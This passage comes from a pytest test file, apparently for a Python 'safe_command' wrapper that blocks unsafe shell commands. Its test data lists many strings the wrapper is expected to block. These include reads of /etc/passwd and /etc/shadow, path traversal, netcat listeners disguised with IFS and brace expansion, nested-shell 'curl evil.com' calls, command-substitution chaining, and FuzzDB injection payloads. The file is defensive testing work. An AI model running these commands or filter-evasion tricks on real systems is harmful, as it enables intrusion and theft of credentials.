symlink_testfile is cwd_testfile.txt + passwd = Path("/etc/passwd").resolve() + sudoers = Path("/etc/sudoers").resolve() + # Get Path objects for the test commands + cat, echo, grep, nc, curl, sh = map(lambda cmd: Path(which(cmd) or f"/usr/bin/{cmd}" ), ["cat", "echo", "grep", "nc", "curl", "sh"]) + testpaths = { + "wd": wd, + "test.txt": testtxt, + "test2.txt": test2txt, + "rglob_testdir": rglob_testdir, + "rglob_testfile": rglob_testfile, + "space_in_name": space_in_name, + "cwd_testfile": cwd_testfile, + "fifo_testfile": fifo_testfile, + "symlink_testfile": symlink_testfile, + "passwd": passwd, + "sudoers": sudoers, + "cat": cat, + "echo": echo, + "grep": grep, + "nc": nc, + "curl": curl, + "sh": sh + } + yield testpaths + remove(cwd_testfile) # Remove the current working directory test file since it is not in tmpdir + + +def insert_testpaths(command, testpaths): + """Replace placeholders in the command or expected result with the test paths""" + if isinstance(command, str): + for k, v in testpaths.items(): + command = command.replace(f"{{{k}}}", str(v)) + elif isinstance(command, list): + for i, cmd_part in enumerate(command): + command[i] = insert_testpaths(cmd_part, testpaths) + return command + + +class TestSafeCommandInternals: + @pytest.mark.parametrize( + "str_cmd, list_cmd, expected_parsed_command", + [ + ("whoami", ["whoami"], ["whoami"]), + ("ls -l", ["ls", "-l"], ["ls", "-l"]), + ("ls -l -a", ["ls", "-l", "-a"], ["ls", "-l", "-a"]), + ("grep 'test' 'test.txt'", ["grep", "'test'", "'test.txt'"], ["grep", "test", "test.txt"]), + ("grep test test.txt", ["grep", "test", "test.txt"], ["grep", "test", "test.txt"]), + ("grep -e 'test test' 'test.txt'", ["grep", "-e", "'test test'", "'test.txt'"], ["grep", "-e", "test test", "test", "test", "test.txt"]), + ("echo 'test1 test2 test3' > test.txt", ["echo", "'test1 test2 test3'", ">", "test.txt"], ['echo', 'test1 test2 test3', 'test1', 'test2', 'test3', '>', 'test.txt']), + ('echo "test1 test2 test3" > test.txt', ["echo", '"test1 test2 test3"', ">", "test.txt"], ['echo', 'test1 test2 test3', 'test1', 'test2', 'test3', '>', 'test.txt']), + ("echo test1 test2 test3 > test.txt", ["echo", "test1", "test2", "test3", ">", "test.txt"], ["echo", "test1", "test2", "test3", ">", "test.txt"]), + ] + ) + def test_parse_command(self, str_cmd, list_cmd, expected_parsed_command, setup_teardown): + expanded_str_cmd, parsed_str_cmd = _parse_command(str_cmd) + expanded_list_cmd, parsed_list_cmd = _parse_command(list_cmd) + assert expanded_str_cmd == expanded_list_cmd + assert parsed_str_cmd == parsed_list_cmd == expected_parsed_command + + + @pytest.mark.parametrize( + "command, expected_paths", + [ + ("echo HELLO", {"echo"}), + ("cat cwdtest.txt", {"cat", "cwd_testfile"}), + ("cat ./cwdtest.txt", {"cat", "cwd_testfile"}), + ("cat cwd*.txt", {"cat", "cwd_testfile"}), + ("cat {test.txt}", {"cat", "test.txt"}), + ("cat '{test.txt}' ", {"cat", "test.txt"}), + ('cat "{test.txt}" ', {"cat", "test.txt"}), + ("cat {test.txt} {test2.txt}", {"cat", "test.txt", "test2.txt"}), + # Check globbing and multiple slashes + ("cat {wd}/*t.txt {wd}/test?.txt", {"cat", "test.txt", "test2.txt"}), + ("cat {wd}///////*t.txt", {"cat", "test.txt"}), + # Check globbing in executable path + ("/bin/c*t '{test.txt}' ", {"cat", "test.txt"}), + # Check that /etc or /private/etc for mac handling is correct + ("cat /etc/passwd /etc/sudoers ", {"cat", "passwd", "sudoers"}), + ("/bin/cat /etc/passwd", {"cat", "passwd"}), + # Check fifo and symlink + ("cat {fifo_testfile}", {"cat", "fifo_testfile"}), + # Symlink should resolve to cwdtest.txt so should get the symlink and the target + ("cat {symlink_testfile}", {"cat", "symlink_testfile", "cwd_testfile"},), + # Check a command with binary name as an argument + ("echo 'cat' {test.txt}", {"echo", "cat", "test.txt"}), + # Command has a directory so should get the dir and all the subfiles and resolved symlink to cwdtest.txt + ("grep 'cat' -r {rglob_testdir}", {"grep", "cat", "rglob_testdir", "rglob_testfile"}), + ("nc -l -p 1234", {"nc"}), + ("curl https://example.com", {"curl"}), + ("sh -c 'curl https://example.com'", {"sh", "curl"}), + ("cat '{space_in_name}'", {"cat", "space_in_name"}), + ] + ) + def test_resolve_paths_in_parsed_command(self, command, expected_paths, setup_teardown): + testpaths = setup_teardown + command = insert_testpaths(command, testpaths) + expected_paths = {testpaths[p] for p in expected_paths} + + expanded_command, parsed_command = _parse_command(command) + abs_paths, abs_path_strings = _resolve_paths_in_parsed_command(parsed_command) + assert abs_paths == expected_paths + assert abs_path_strings == {str(p) for p in expected_paths} + + + @pytest.mark.parametrize( + "string, expanded_str", + [ + # Simple variable expansions + ("$HOME", f"{str(Path.home())}"), + ("$PWD", f"{Path.cwd()}"), + ("$IFS", " "), + ("$HOME $PWD $IFS", f"{str(Path.home())} {Path.cwd()} "), + ("${HOME} ${PWD} ${IFS}", f"{str(Path.home())} {Path.cwd()} "), + + # Slice expansions + ("${IFS}", " "), + ("${IFS:0}", " "), + ("${IFS:0:1}", " "), + ("${HOME:4:20}", f"{str(Path.home())[4:20]}"), + ("${HOME:4}", f"{str(Path.home())[4:]}"), + ("${HOME:1:-10}", f"{str(Path.home())[1:-10]}"), + ("${HOME::2}", f"{str(Path.home())[0:2]}"), + ("${HOME::}", f"{str(Path.home())[0:0]}"), + ("${HOME: -1: -10}", f"{str(Path.home())[-1:-10]}"), + ("${HOME:1+2+3-4:1.5+2.5+6-5.0}", f"{str(Path.home())[2:5]}"), + ("${BADKEY:0:2}", ""), + + # Default value expansions that look like slice expansions + ("${BADKEY:-1}", "1"), + ("${BADKEY:-1:10}", "1:10"), + ("A${BADKEY:0:10}B", "AB"), + ("A${BADKEY:-}B", "AB"), + ("A${BADKEY:- }B", "A B"), + + # Default value expansions + ("${HOME:-defaultval}", f"{str(Path.home())}"), + ("${HOME:=defaultval}", f"{str(Path.home())}"), + ("${HOME:+defaultval}", "defaultval"), + ("${BADKEY:-defaultval}", "defaultval"), + ("${BADKEY:=defaultval}", "defaultval"), + ("${BADKEY:+defaultval}", ""), + ("${BADKEY:-$USER}", f"{getenv('USER')}"), + # Nested default value expansions + ("${BADKEY:-${USER}}" , f"{getenv('USER')}"), + ("${BADKEY:-${BADKEY:-${USER}}}", f"{getenv('USER')}"), + + # Values set during expansions should be used + ("${BADKEY:=setval} $BADKEY ${BADKEY:=unused}", "setval setval setval"), + ("${BADKEY:=cu} ${BADKEY2:=rl} ${BADKEY}${BADKEY2}", "cu rl curl"), + ("${BADKEY:=0} ${BADKEY2:=10} ${HOME:BADKEY:BADKEY2}", f"0 10 {str(Path.home())[0:10]}"), + ("${BADKEY:=5} ${BADKEY2:=10} ${HOME: BADKEY + BADKEY2 - 10: BADKEY2 - 3 }", f"5 10 {str(Path.home())[5:7]}"), + ("${BADKEY:=5} ${BADKEY2:=10} ${HOME: $BADKEY + ${BADKEY2} - 10: BADKEY2 - 3 }", f"5 10 {str(Path.home())[5:7]}"), + ("${HOME: BADKEY=5: BADKEY+BADKEY}", f"{str(Path.home())[5:10]}"), + ("${HOME: BADKEY=5: BADKEY+=5 } $BADKEY", f"{str(Path.home())[5:10]} 10"), + ("${HOME: BADKEY=1+2+3 : BADKEY2=BADKEY+4 } $BADKEY $BADKEY2", f"{str(Path.home())[6:10]} 6 10"), + ("${HOME: BADKEY=5+6-1-5 : BADKEY2=BADKEY+5 } ${BADKEY} ${BADKEY2}", f"{str(Path.home())[5:10]} 5 10"), + ("${BADKEY:=} ${BADKEY:-cu}${BADKEY}${BADKEY:-rl}", " curl"), + + + # Brace expansions + ("a{d,c,b}e", "ade ace abe"), + ("a{'d',\"c\",b}e", "ade ace abe"), + ("a{$HOME,$PWD,$IFS}e", f"a{str(Path.home())}e a{Path.cwd()}e a e"), + + # Int Sequence expansions + ("{1..-1}", "1 0 -1"), + ("{1..1}", "1"), + ("{1..4}", "1 2 3 4"), + + ("{1..10..2}", "1 3 5 7 9"), + ("{1..10..-2}", "9 7 5 3 1"), + ("{10..1..2}", "10 8 6 4 2"), + ("{10..1..-2}", "2 4 6 8 10"), + + ("{-1..10..2}", "-1 1 3 5 7 9"), + ("{-1..10..-2}", "9 7 5 3 1 -1"), + ("{10..-1..2}", "10 8 6 4 2 0"), + ("{10..-1..-2}", "0 2 4 6 8 10"), + + ("{1..-10..2}", "1 -1 -3 -5 -7 -9"), + ("{1..-10..-2}", "-9 -7 -5 -3 -1 1"), + ("{-10..1..2}", "-10 -8 -6 -4 -2 0"), + ("{-10..1..-2}", "0 -2 -4 -6 -8 -10"), + + ("{-1..-10..2}", "-1 -3 -5 -7 -9"), + ("{-1..-10..-2}", "-9 -7 -5 -3 -1"), + ("{-10..-1..2}", "-10 -8 -6 -4 -2"), + ("{-10..-1..-2}", "-2 -4 -6 -8 -10"), + ("{10..-10..2}", "10 8 6 4 2 0 -2 -4 -6 -8 -10"), + ("{10..-10..-2}", "-10 -8 -6 -4 -2 0 2 4 6 8 10"), + + # Step of 0 should not expand but should remove the brackets + ("{1..10..0}", "1..10..0"), + ("AB{1..10..0}CD", "AB1..10..0CD"), + + # Character Sequence expansions + ("{a..z}", "a b c d e f g h i j k l m n o p q r s t u v w x y z"), + ("{a..d}", "a b c d"), + ("{a..Z}", "a ` _ ^ ] \\ [ Z"), + ("{A..z}", "A B C D E F G H I J K L M N O P Q R S T U V W X Y Z [ \\ ] ^ _ ` a b c d e f g h i j k l m n o p q r s t u v w x y z"), + ("{A..D}", "A B C D"), + ("{z..a}", "z y x w v u t s r q p o n m l k j i h g f e d c b a"), + ("{Z..a}", "Z [ \\ ] ^ _ ` a"), + ("{0..Z}", "0 1 2 3 4 5 6 7 8 9 : ; < = > ? @ A B C D E F G H I J K L M N O P Q R S T U V W X Y Z"), + ("{0..z}", "0 1 2 3 4 5 6 7 8 9 : ; < = > ? @ A B C D E F G H I J K L M N O P Q R S T U V W X Y Z [ \\ ] ^ _ ` a b c d e f g h i j k l m n o p q r s t u v w x y z"), + ("{a..1}", "a ` _ ^ ] \\ [ Z Y X W V U T S R Q P O N M L K J I H G F E D C B A @ ? > = < ; : 9 8 7 6 5 4 3 2 1"), + + # Character Sequence expansions with step should be returned as is + ("{a..z..2}", "{a..z..2}"), + + # Expansions that increase number of words + ("a{1..4}e", "a1e a2e a3e a4e"), + ("AB{1..10..2}CD {$HOME,$PWD} ${BADKEY:-defaultval}", f"AB1CD AB3CD AB5CD AB7CD AB9CD {str(Path.home())} {Path.cwd()} defaultval"), + ("AB{1..4}CD", "AB1CD AB2CD AB3CD AB4CD"), + + #Invalid expansions should not be expanded + ("AB{1..$HOME}CD", f"AB{'{'}1..{str(Path.home())}{'}'}CD"), + ("{1..--1}", "{1..--1}"), + ("{Z..a..2}", "{Z..a..2}"), + + # With a '-' in the expansion defaultval + ("find . -name '*.txt' ${BADKEY:--exec} cat {} + ", "find . -name '*.txt' -exec cat {} + "), + ] + ) + def test_shell_expansions(self, string, expanded_str): + assert _shell_expand(string) == expanded_str + + + @pytest.mark.parametrize( + "string", + [ + # These should be blocked because they are banned expansions + "${!prefix*}", + "${!prefix@}", + "${!name[@]}", + "${!name[*]}", + "${#parameter}", + "${parameter#word}", + "${parameter##word}", + "${parameter%word}", + "${parameter%%word}", + "${parameter/pattern/string}", + "${parameter//pattern/string}", + "${parameter/#pattern/string}", + "${parameter/%pattern/string}", + "${parameter^pattern}", + "${parameter^^pattern}", + "${parameter,pattern}", + "${parameter,,pattern}", + "${parameter@operator}", + + # All these should be blocked because evaluation of nested expansions + # returns a / which is a banned expansion operator + "${BADKEY:-$HOME}", + "${BADKEY:-${HOME}}" , + "${BADKEY:-${BADKEY:-${HOME}}}", + # Same as previous but with @ and ^ in the nested expansion + "${BADKEY:-{a..1}}", + "${BADKEY:-{a..Z}}", + + # These should be blocked because they are invalid arithmetic expansions + "${HOME:1-}", + "${HOME:1+}", + "${HOME: -}", + "${HOME: +}", + "${HOME:1+2+3-}", + "${HOME:1+2+3+}", + "${HOME:V=}", + "${HOME: V= }", + "${HOME:V=1=}", + + ] + ) + def test_banned_shell_expansion(self, string): + with pytest.raises(SecurityException) as cm: + _shell_expand(string) + + error_msg = cm.value.args[0] + assert error_msg.startswith("Disallowed shell expansion") or error_msg.startswith("Invalid arithmetic in shell expansion") + +EXCEPTIONS = { + "PREVENT_ARGUMENTS_TARGETING_SENSITIVE_FILES": SecurityException("Disallowed access to sensitive file"), + "PREVENT_COMMAND_CHAINING": SecurityException("Multiple commands not allowed"), + "PREVENT_COMMON_EXPLOIT_EXECUTABLES": SecurityException("Disallowed command"), + "PREVENT_UNCOMMON_PATH_TYPES": SecurityException("Disallowed access to path type"), + "PREVENT_ADMIN_OWNED_FILES": SecurityException("Disallowed access to file owned by"), + "ANY": SecurityException("Any Security exception") +} + +@pytest.mark.parametrize("original_func", [subprocess.run, subprocess.call]) +class TestSafeCommandRestrictions: + + def _run_test_with_command(self, command, expected_result, restrictions, original_func, shell=True, compare_stderr=False, *args, **kwargs): + if isinstance(expected_result, SecurityException): + with pytest.raises(SecurityException) as cm: + safe_command.run( + original_func=original_func, + command=command, *args, + restrictions=restrictions, + shell=shell, **kwargs + ) + raised_exception = cm.value + # If the expected exception is not "Any Security exception" then check that the raised exception starts with the expected message + if expected_result.args[0] != "Any Security exception": + assert raised_exception.args[0].startswith(expected_result.args[0]) + + else: + result = safe_command.run( + original_func=original_func, + command=command, *args, + restrictions=restrictions, + shell=shell, + capture_output=True, + text=True, + **kwargs, + + ) + if result: + compare_val = result.stdout.strip() if not compare_stderr else result.stderr.strip() + assert compare_val == expected_result + + + @pytest.mark.parametrize( + "command", + [ + "ls -l; whoami", + "ls -l && whoami", + "ls -l || whoami", + "ls -l | whoami", + "ls -l\nwhoami", + "ls -l & whoami", + "echo $(whoami)", + "echo `whoami`", + "cat <(whoami)", + "cat <<(whoami)", + "cat < <(whoami)", + "echo 'whoami' > >(sh)", + "echo 'whoami' >> >(sh)", + "echo 'whoami' >>(sh)", + "echo 'whoami' >>>(sh)", + ">(sh <<(cat<<<(whoami)", + "sh -c 'whoami'", + "find . -name '*.txt' -exec cat {} + ", + "find . -name '*.txt' ${BADKEY:--exec} cat {} + ", + + + ["ls", "-l;", "whoami"], + ["ls", "-l", "&&", "whoami"], + ["ls", "-l", "||", "whoami"], + ["ls", "-l", "|", "whoami"], + ["ls", "-l", "\nwhoami"], + ["ls", "-l", "&", "whoami"], + ["echo", "$(whoami)"], + ["echo", "`whoami`"], + ["cat", "<(whoami)"], + ["cat", "<<(whoami)"], + ["cat", "<", "<(whoami)"], + ["echo", "'whoami'", ">", ">(sh)"], + ["echo", "'whoami'", ">>", ">(sh)"], + ["echo", "'whoami'", ">>(sh)"], + ["echo", "'whoami'", ">>>(sh)"], + [">(sh", "<<(cat<<<(whoami)"], + ["sh", "-c", "'whoami'"], + ["find", ".", "-name", "'*.txt'", "-exec", "cat", "{}", "+"], + ["find", ".", "-name", "'*.txt'", "${BADKEY:--exec}", "cat", "{}", "+"], + ] + ) + def test_check_multiple_commands(self, command, original_func, setup_teardown): + exception = EXCEPTIONS["PREVENT_COMMAND_CHAINING"] + restrictions = {"PREVENT_COMMAND_CHAINING"} + self._run_test_with_command(command, exception, restrictions, original_func) + + @pytest.mark.parametrize( + "command", + [ + "cat /etc/shadow", + "cat /etc/passwd", + "cat '/etc/passwd'", + 'cat "/etc/passwd"', + 'cat "/etc/pa*sswd"', + "cat /etc/pa*sswd", + "cat /etc///pa*sswd*", + "cat /etc/sudoers", + "cat ../../../../../../../../../../../../../../../../../../../../etc/sudoers.d/../sudoers", + "cat /etc/sudoers.d/../sudoers", + "cat ~/../../../../../../../../../../../../../../../../../../etc/p*sswd", + + ["cat", "/etc/shadow"], + ["cat", "/etc/passwd"], + ["cat", "/etc/passwd"], + ["cat", "/etc/passwd"], + ["cat", "/etc/pa*sswd"], + ["cat", "/etc/pa*sswd"], + ["cat", "/etc///pa*sswd*"], + ["cat", "/etc/sudoers"], + ["cat", "../../../../../../../../../../etc/sudoers.d/../sudoers"], + ["cat", "/etc/sudoers.d/../sudoers"], + ["cat", "~/../../../../../../../../../../../../../../../../../../etc/p*sswd"], + ] + ) + def test_check_sensitive_files(self, command, original_func, setup_teardown): + exception = EXCEPTIONS["PREVENT_ARGUMENTS_TARGETING_SENSITIVE_FILES"] + restrictions = {"PREVENT_ARGUMENTS_TARGETING_SENSITIVE_FILES"} + self._run_test_with_command(command, exception, restrictions, original_func) + + + @pytest.mark.parametrize( + "command", + [ + "ls -l /usr/bin/nc", + "ls -l /usr/bin/netcat", + "ls -l /usr/bin/curl", + "curl https://example.com", + "sh -c 'curl https://example.com'", + "sh -c \"curl https://example.com\"", + "sh -c ' curl https://example.com'", + "sh -c 'sh -c \" curl https://example.com\" '", + "sh -c \"sh -c 'curl https://example.com' \"", + "find . -name '*' -exec curl {} + ", + "find . -name '*' -exec /usr/bin/curl {} + ", + "find . -name '*' -exec /usr/bin/cu*l {} + ", + " netcat -l -p 1234", + "nc -l -p 1234", + "/usr/bin/nc -l -p 1234", + "/usr/bin/nc* -l -p 1234", + "/usr/*i**/nc -l -p 1234", + "{nc,-l,-p,1234}", + "${BADKEY:-nc} -l -p 1234", + # Check that IFS can't be used to bypass + "${IFS}nc${IFS}-l${IFS}-p${IFS}1234", + "${BADKEY:-$IFS}nc${BADKEY:-$IFS}-l${BADKEY:-$IFS}-p${BADKEY:-$IFS}1234", + "${BADKEY:-nc} ${BADKEY:--l} ${BADKEY:--p} ${BADKEY:-1234}", + "${IFS}/usr/bin/nc*${IFS} -l -p 1234", + "$IFS nc${IFS}-l -p 1234", + "find . -name '*' -exec \"${IFS}/usr/bin/cu*l${IFS}\" {} + ", + "sh -c 'sh -c \"${IFS}/usr/bin/c*rl${IFS}https://example.com${IFS}\" '", + "sh <<< 'bash <<< \"curl evil.com\"'", + "sh <<< 'bash<<< \"curl evil.com\"'", + "sh<<<'bash<<<\"curl evil.com\"'", + + ["ls", "-l", "/usr/bin/nc"], + ["ls", "-l", "/usr/bin/netcat"], + ["ls", "-l", "/usr/bin/curl"], + ["curl", "https://example.com"], + ["sh", "-c", "curl https://example.com"], + ["sh", "-c", " curl https://example.com"], + ["sh", "-c", "sh -c \" curl https://example.com\" "], + ["sh", "-c", "sh -c 'curl https://example.com' "], + ["find", ".", "-name", "'*'", "-exec", "curl", "{}", "+"], + ["find", ".", "-name", "'*'", "-exec", "/usr/bin/curl", "{}", "+"], + ["find", ".", "-name", "'*'", "-exec", "/usr/bin/cu*l", "{}", "+"], + [" netcat ", "-l", "-p", "1234"], + ["nc", "-l", "-p", "1234"], + ["/usr/bin/nc", "-l", "-p", "1234"], + ["/usr/bin/nc*", "-l", "-p", "1234"], + ["/usr/*i**/nc", "-l", "-p", "1234"], + ["{nc,-l,-p,1234}"], + + ["${IFS}nc${IFS}-l${IFS}-p${IFS}1234"], + ["${BADKEY:-$IFS}nc${BADKEY:-$IFS}-l${BADKEY:-$IFS}-p${BADKEY:-$IFS}1234"], + ["${BADKEY:-nc}", "${BADKEY:--l}", "${BADKEY:--p}", "${BADKEY:-1234}"], + ["${IFS}/usr/bin/nc*${IFS}", "-l", "-p", "1234"], + ["$IFS nc${IFS}", "-p", "1234"], + ["find", ".", "-name", "'*'", "-exec", "\"${IFS}/usr/bin/cu*l${IFS}\"", "{}", "+"], + ["sh", "-c", "sh -c \"${IFS}/usr/bin/c*rl${IFS}https://example.com${IFS}\" "], + ["sh", "<<<", "'bash <<< \"curl evil.com\"'"], + ["sh", "<<<", "'bash<<<\"curl evil.com\"'"], + ["sh<<<'bash<<<\"curl evil.com\"'"] + + + ] + ) + def test_check_banned_executable(self, command, original_func, setup_teardown): + exception = EXCEPTIONS["PREVENT_COMMON_EXPLOIT_EXECUTABLES"] + restrictions = {"PREVENT_COMMON_EXPLOIT_EXECUTABLES"} + self._run_test_with_command(command, exception, restrictions, original_func) + + @pytest.mark.parametrize( + "command", + [ + "cat {fifo_testfile}", + "cat {symlink_testfile}", + ["cat", "{fifo_testfile}"], + ["cat", "{symlink_testfile}"], + ] + ) + def test_check_path_type(self, command, original_func, setup_teardown): + exception = EXCEPTIONS["PREVENT_UNCOMMON_PATH_TYPES"] + restrictions = {"PREVENT_UNCOMMON_PATH_TYPES"} + + testpaths = setup_teardown + command = insert_testpaths(command, testpaths) + self._run_test_with_command(command, exception, restrictions, original_func) + + + @pytest.mark.parametrize( + "command", + [ + "cat /etc/passwd", + "cat /var/log/*", + "grep -r /var/log", + ["cat", "/etc/passwd"], + ["cat", "/var/log/*"], + ["grep", "-r", "/var/log"], + ] + ) + def test_check_file_owner(self, command, original_func, setup_teardown): + exception = EXCEPTIONS["PREVENT_ADMIN_OWNED_FILES"] + restrictions = {"PREVENT_ADMIN_OWNED_FILES"} + self._run_test_with_command(command, exception, restrictions, original_func) + + + @pytest.mark.parametrize( + "command, expected_result", + [ + # These commands should not be blocked and should return the expected result + ("echo HELLO", "HELLO"), + ("cat {test.txt}", "USERDATA1\nUSERDATA2\nUSERDATA3"), + ("/bin/cat {test2.txt}", "USERDATA4\nUSERDATA5\nUSERDATA6"), + # Globbing should not be blocked or affect the result + ("grep -e 'USERDATA[12]' {test.txt}", "USERDATA1\nUSERDATA2"), + # Find should not be blocked unless using -exec or trying to find sensitive files + ("find {rglob_testdir} -name '*.txt' -print -quit", "{rglob_testfile}"), + + (["echo", "HELLO"], "HELLO"), + (["cat", "{test.txt}"], "USERDATA1\nUSERDATA2\nUSERDATA3"), + (["/bin/cat", "{test2.txt}"], "USERDATA4\nUSERDATA5\nUSERDATA6"), + (["grep", "-e", "USERDATA[12]", "{test.txt}"], "USERDATA1\nUSERDATA2"), + (["find", "{rglob_testdir}", "-name", '*.txt', "-print", "-quit"], "{rglob_testfile}"), + ] + ) + def test_valid_commands_not_blocked(self, command, expected_result, original_func, setup_teardown): + if original_func.__name__ == "call": + # call doesn't have capture_output kwarg so can't compare result and easier to just return than refactor + return + + testpaths = setup_teardown + command = insert_testpaths(command, testpaths) + expected_result = insert_testpaths(expected_result, testpaths) + + # Use all restrictions to make sure none of them block the command + restrictions = [ + "PREVENT_COMMAND_CHAINING", + "PREVENT_ARGUMENTS_TARGETING_SENSITIVE_FILES", + "PREVENT_COMMON_EXPLOIT_EXECUTABLES", + "PREVENT_UNCOMMON_PATH_TYPES", + "PREVENT_ADMIN_OWNED_FILES" + ] + shell = isinstance(command, str) + self._run_test_with_command(command, expected_result, restrictions, original_func, shell=shell) + + + @pytest.mark.parametrize( + "command, expected_result, popen_kwargs", + [ + ("echo $HOME/somefile/", f"{str(Path.home())}/somefile/", {"shell": True}), + ("echo $HOME", "/Users/TESTHOME", {"env": {"HOME": "/Users/TESTHOME"}, "shell": True}), + ("echo $HOME", EXCEPTIONS["PREVENT_ARGUMENTS_TARGETING_SENSITIVE_FILES"], {"env": {"HOME": "/etc/passwd"}, "shell": True}), + (["/bin/echo $HOME/somefile/"], f"{str(Path.home())}/somefile/", {"shell": True}), + (["/bin/echo", "$HOME/somefile/"], f"$HOME/somefile/", {"shell": False}), + + # Should only raise exception if shell is True or executable is a shell + (["/bin/cat /etc/${BADKEY:-passwd}"], EXCEPTIONS["PREVENT_ARGUMENTS_TARGETING_SENSITIVE_FILES"], {"shell": True}), + (["/bin/cat /etc/${BADKEY:-passwd}"], EXCEPTIONS["PREVENT_ARGUMENTS_TARGETING_SENSITIVE_FILES"], {"shell": False, "executable": "/bin/bash"}), + (["/bin/cat", "/etc/${BADKEY:-passwd}"], "", {"shell": False}), + # Executable takes precedence over shell so this should not raise an exception even though the shell expansion would resolve to /etc/passwd + (["/etc/${BADKEY:-passwd}"], "", {"shell": True, "executable": "/bin/cat"}), + + # env kwarg values used in shell expansions + ("echo $HOME/{file1.txt,file2.txt,${BADKEY:=file3.txt},${BADKEY:+file4.txt}}", + "/Users/TESTHOME/file1.txt /Users/TESTHOME/file2.txt /Users/TESTHOME/file3.txt /Users/TESTHOME/file4.txt", + {"shell": True, "env": {"HOME": "/Users/TESTHOME"}}), + (["-c", "cat /{junk1,\"${TEST:1:2}${TEST:0:1}\"}c/p*sswd"], + EXCEPTIONS["PREVENT_ARGUMENTS_TARGETING_SENSITIVE_FILES"], + {"shell": False, "executable": "bash", "env": {"TEST": "test"}}), + + # path resolution should be based on env variables + ("which ls", which("ls"), {"shell": True}), + ("which ls", "", {"shell": True, "env": {"PATH": ""}}), + ("(sh)<<<'{nc,-l,-p,4444}'", EXCEPTIONS["PREVENT_COMMON_EXPLOIT_EXECUTABLES"], {"shell": True}), + # No exception should be raised here becuase when env PATH is set to empty string, the executables can't be found + ("(sh)<<<'{nc,-l,-p,4444}'", "", {"shell": True, "env" : {"PATH": ""}}), + ] + + ) + def test_popen_kwargs(self, command, expected_result, popen_kwargs, original_func): + if original_func.__name__ == "call": + # call doesn't have capture_output kwarg so can't compare result and easier to just return than refactor + return + + restrictions = [ + "PREVENT_COMMAND_CHAINING", + "PREVENT_ARGUMENTS_TARGETING_SENSITIVE_FILES", + "PREVENT_COMMON_EXPLOIT_EXECUTABLES", + ] + + self._run_test_with_command(command, expected_result, restrictions, original_func, **popen_kwargs) + + + # FUZZDB tests + @pytest.mark.parametrize( + "command", + [payload.replace('{cmd}', command) for command in [ + "cat /etc/passwd", + "curl https://example.com", + "sh -c 'curl https://example.com'", + "find . -name '*' -exec curl '{}' '+'", + "nc -l -p 1234", + ] for payload in FUZZDB_OS_COMMAND_INJECTION_PAYLOADS] + ) + def test_fuzzdb_injection_payloads(self, command, original_func): + restrictions = [ + "PREVENT_COMMAND_CHAINING", + "PREVENT_ARGUMENTS_TARGETING_SENSITIVE_FILES", + "PREVENT_COMMON_EXPLOIT_EXECUTABLES", + ] + self._run_test_with_command(command, EXCEPTIONS["ANY"], restrictions, original_func) + + + @pytest.mark.parametrize( + "filepath", + [payload.replace('{FILE}', file) for file in [ + "/etc/passwd", + "/etc/passwd*", + "/etc/pass*d", + "*/etc/pass*d", + "/et**/pa*sswd", + + "etc/passwd", + "etc/passwd*", + "etc/pass*d", + "*etc/pass*d", + "et**/pa*sswd", + ] for payload in FUZZDB_PATH_TRAVERSAL_PAYLOADS] + ) + def test_fuzzdb_traversal_payloads(self, filepath, original_func): + restrictions = [ + "PREVENT_ARGUMENTS_TARGETING_SENSITIVE_FILES", + ] + + + try: + if original_func.__name__ == "run": + popen_kwargs = {"capture_output": True, "text": True} + else: + popen_kwargs = {} + + command = f"cat {filepath}" + result = safe_command.run( + original_func=original_func, + command=command, + restrictions=restrictions, + shell=True, + **popen_kwargs + ) + # Anything that is allowed to run is a junk path that does not resolve to /etc/passwd + # and should thus not be blocked by PREVENT_ARGUMENTS_TARGETING_SENSITIVE_FILES + if original_func.__name__ == "run": + assert "root:" not in result.stdout + else: + assert result != 0 + except (SecurityException, OSError) as e: + if isinstance(e, SecurityException): + assert e.args[0].startswith("Disallowed access to sensitive file") + elif isinstance(e, OSError): + assert e.strerror == "File name too long" + +